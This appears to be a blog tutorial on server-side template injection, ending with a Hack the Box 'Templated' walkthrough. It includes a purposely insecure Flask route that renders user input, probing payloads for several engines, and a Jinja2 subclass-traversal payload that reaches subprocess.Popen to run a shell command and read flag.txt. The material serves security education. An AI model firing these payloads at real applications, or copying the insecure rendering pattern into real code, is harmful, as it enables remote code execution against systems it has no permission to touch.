Server-Side Template Injection + Hack the Box Walkthrough

by | Jun 19, 2021 | 0 comments

Template Engines Syntax

To view the vulnerability, I’ve created a purposely insecure simple Flask server with a route named home, that will render our URL parameter named cmd.

from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route("/home")
def home():
    if request.args.get('cmd'):
        return render_template_string(request.args.get('cmd',""))
    else:
        return "Hello World"

if __name__ == "__main__":
    app.run(debug=True)
server-side template injection - home_route
{{ 7*7 }} // Jinja2 / Twig / Mustache
{$ 7*7 } // Smarty
<%= 7*7 %> // eRB / eJS
server-side template injection - vulnerability discovery

You could try to use common reserved keywords to try and see their data, or even guess variables names and print their data.

By doing so, you will be able to read and reflect anything that is available in that scope in memory.

For example, using python you could reference the current class, or a variable currently available:

{{ self }} // current class refernce
{{ variable_name }} // Prior knowledge / guessing / brute-force.
subprocess.popen // Python2 / Python3

Java.lange.Runtime.exec() // JAVA

IO.popen // Ruby

Depending on the language you will find ways that will help you reach remote code execution by accessing the above-mentioned attributes and functions to open a process and run your code.

In Python, you will have the following attributes and functions to traverse the class inheritance:

  • __class__ – An attribute on the object that refers to the class from which the object was created.
  • __mro__ –  stands for Method Resolution Order. It returns a list of types the class is derived from.
  • __subclasses__() – Returns all the subclasses of the object / class it was called on.

By using a combination of the above attributes and functions, you could be able to reach subprocess.popen and run your code.

Now we will use all that we learned until now to successfully exploit the Templated machine at “Hack the Box”.

Server-Side Template Injection - Templated - 1
Server-Side Template Injection - Templated - 2
{{7*7}} // We expect to see 49
Server-Side Template Injection - Templated - 3

Playing around with the injection I’ve managed to reflect back the variable config:

Server-Side Template Injection - Reflecting Variables

To exploit the vulnerability we don’t have to reflect any variable back, we can use existing data types to reach our goal.

{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__}} 
// Result: The page '<class 'str'>' could not be found
{{''.__class__.__mro__}}

// Result: The page '(<class 'str'>, <class 'object'>)' could not be found
{{''.__class__.__mro__[1].__subclasses_()}}
Server-Side Template Injection - Templated - 4

There I saw the flag.txt file and then I’ve used cat to display it’s contents:

{{''.__class__.__mro__[1].__subclasses__()[414]('cat%20flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
Server-Side Template Injection - HTB